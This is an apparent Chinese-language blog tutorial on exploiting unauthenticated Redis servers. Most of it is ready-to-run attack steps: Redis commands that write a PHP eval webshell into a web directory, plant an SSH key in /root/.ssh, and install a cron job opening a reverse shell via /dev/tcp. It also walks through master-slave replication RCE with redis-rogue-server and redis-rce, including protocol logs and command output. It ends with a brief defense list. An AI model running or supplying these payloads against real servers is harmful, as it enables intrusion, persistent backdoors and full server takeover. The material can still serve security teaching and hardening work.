Redis漏洞原理
Redis简单介绍
Redis是一款内存高速缓存的数据库,是一款K-V型数据库,它的所有键值都是用字典来存储的。其中它的value支持多种数据类型,包括String、List、Set、Zset和Hash。
Redis未授权访问漏洞介绍
利用条件
- Redis默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问,就会将Redis服务暴露在公网上;
- 并且Redis默认情况是空密码连接
- 在服务器以root身份运行Redis时
这将导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。
影响版本
Redis <= 5.0.5
漏洞检测
一般使用nmap工具对目标机器进行扫描。如果发现主机的6379端口是对外开放的,并且目标主机开放外网访问的情况下,就能够在本机使用redis-cli服务连接目标服务器。
redis-cli -h 服务器ip
漏洞危害
-
攻击者无需通过认证就可以访问内部数据,导致敏感信息泄露
-
攻击者可以恶意执行flushall来清空所有数据
-
攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件
eval()是用来执行一个字符串表达式,并返回表达式的值。 lua是一种脚本语言,用C语言编写,源码开放,其设计目的是为了嵌入程序应用,为应用程序提供便利的拓展功能。
-
由于Redis以root权限运行,攻击者可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器
Redis写入webshell
原理
Redis为了持久化连接,将数据保存在了本地。那么攻击者可以将后门代码作为value值,写入web目录下的.php文件,就可实现php的webshell。
利用条件
- 当存在未授权访问漏洞时,可以直接通过Redis连接靶机;
- 如果靶机正好开启web服务;
- 且攻击者知道了web目录的路径且该路径具有文件读写的权限。
这时候攻击者可以通过Redis写入webshell。
利用过程
以下为举例:
config set dir /var/www.html/ #切换到web写入目录
config set dbfilename zcc.php #设置写入木马的文件名
set xxx "\n\n\n<?php @eval($_POST['zcc']);?>\n\n\n" #写入恶意代码到内存中,这里的换行符是必要的,因为用Redis写入文件会自带一些版本信息,如果不换行可能执行不了
save #将内存中的数据导出到磁盘
Redis写入SSH公钥
原理
在Redis数据库中插入一条数据,将本机的公钥作为value,然后通过修改数据库的默认路径为/root/.ssh(ssh文件夹)和默认的缓冲文件authorized.keys(公钥文件),把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
利用条件
通过漏洞成功连接Redis之后;
且Redis服务以root权限执行;
以及安全模式protected-mode处于关闭状态;
服务器开启了ssh服务,且允许密钥登录。将密钥等配置信息存放在/root/.ssh目录(安装了openssh只要将公钥放入到/root/.ssh文件夹中,无需设置默认就允许使用公钥登录),
即可远程写入一个公钥,直接登录远程服务器。
利用过程
ssh-keygen -t rsa
config set dir /root/.ssh
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa ...公钥...\n\n\n"
save
连接:
ssh -i id_rsa root@ip
Redis写入计划任务反弹shell
原理
在数据库中插入一条数据,将计划任务的内容作为value值,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以一个计划任务进行反弹shell。
利用条件
- 能够远程连接到Redis
- 安全模式protectcd-mode处于关闭模式
- 以root权限运行
利用过程
set x "\n\n****bash -i >& /dev/tcp/xx.xx.xx.xx/8089 0>&1 \n\n"
config setdir /var/spool/cron
config set dbfilename root
save
Redis未授权访问漏洞防御
- 限制访问IP
- 修改默认端口
- 使用密码登录,限制密钥登录
- 不使用root运行Redis
主从复制RCE
适用版本redis 4.x/5.x,目前大多数redis存在于docker中,因此并不会存在redis之外的如ssh、crontab等服务,因此不能用上述方式进行利用。这时候需要用到主从复制。
主从模式是指使用一个redis实例作为主机,其他实例都作为备份机(从机),其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
第一种方式:利用redis-rogue-server脚本
利用脚本:https://github.com/LoRexxar/redis-rogue-server、https://github.com/n0b0dyCN/redis-rogue-server
该工具的原理就是首先创建一个恶意的Redis服务器作为Redis主机(master),该Redis主机能够回应其他连接他的Redis从机的响应。有了恶意的Redis主机之后,就会远程连接目标Redis服务器,通过slaveof
命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)。然后将恶意Redis主机上的exp同步到Reids从机上,并将dbfilename设置为exp.so。最后再控制Redis从机(slaver)加载模块执行系统命令即可。
但是该工具只能在目标存在Redis未授权访问漏洞时使用。如果目标Redis存在密码是不能使用该工具的。
1.首先使用恶意服务器充当主机,使用FULLRESYNC功能将so文件送给从机
python3 redis-rogue-server_5.py --rhost 172.17.0.3 --rport 6379 --lhost 172.17.0.1 --lport 6381
TARGET 172.17.0.3:6379
SERVER 172.17.0.1:6381
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$10\r\n172.17.0.1\r\n$4\r\n6381\r\n'
[->] b'+OK\r\n'
[<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'
[->] b'+OK\r\n'
[->] b'*1\r\n$4\r\nPING\r\n'
[<-] b'+PONG\r\n'
[->] b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n'
[<-] b'+OK\r\n'
[->] b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$6\r\npsync2\r\n'
[<-] b'+OK\r\n'
[->] b'*3\r\n$5\r\nPSYNC\r\n$40\r\n17772cb6827fd13b0cbcbb0332a2310f6e23207d\r\n$1\r\n1\r\n'
[<-] b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$42688\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xea\x9f\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'
[<-] b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
[->] b'+OK\r\n'
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
[->] b'+OK\r\n'
2.登录从机(也就是未授权主机)直接执行系统命令
ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ redis-cli -h 172.17.0.3
172.17.0.3:6379> system.exec "id"
"\x89uid=999(redis) gid=999(redis) groups=999(redis)\n"
172.17.0.3:6379> system.exec "whoami"
"\bredis\n"
第二种方式:利用 redis-rce 工具
https://github.com/Ridter/redis-rce
该工具有一个-a
选项,可以用来进行Redis认证。
但是这个工具里少一个exp.so的文件,我们还需要去上面那个到 redis-rogue-server工具中找到exp.so文件并复制到redis-rce.py同一目录下,然后执行如下命令即可:
#python3 redis-rce.py -r rhost -lhost lhost -f exp.so -a password
python3 redis-rce.py -r 192.168.43.82 -L 192.168.43.247 -f exp.so -a 657260
执行后,同样可以选择获得一个交互式的shell(interactive shell)或者是反弹shell(reserve shell):
交互式的shell:
反弹shell:
总结
- Redis未授权访问漏洞是由于配置问题而产生的漏洞,因为没有改变默认端口6379且没有限制外来IP访问导致的漏洞。
- Redis未授权漏洞一般可以用来写入webshell、写入ssh公钥进行登录、写入任务反弹shell连接
- 这些漏洞原理本质就是能够远程连接上Redis,且能够有root权限进行修改文件,然后将想要实现的内容写入就可以达成目的
- Redis未授权漏洞的防御针对以上几点大概有:限制访问IP、修改默认端口、不使用密钥登录、不使用root权限运行Redis。
标签:Redis,redis,漏洞,ssh,原理,root,写入 From: https://blog.csdn.net/m0_73649671/article/details/139843576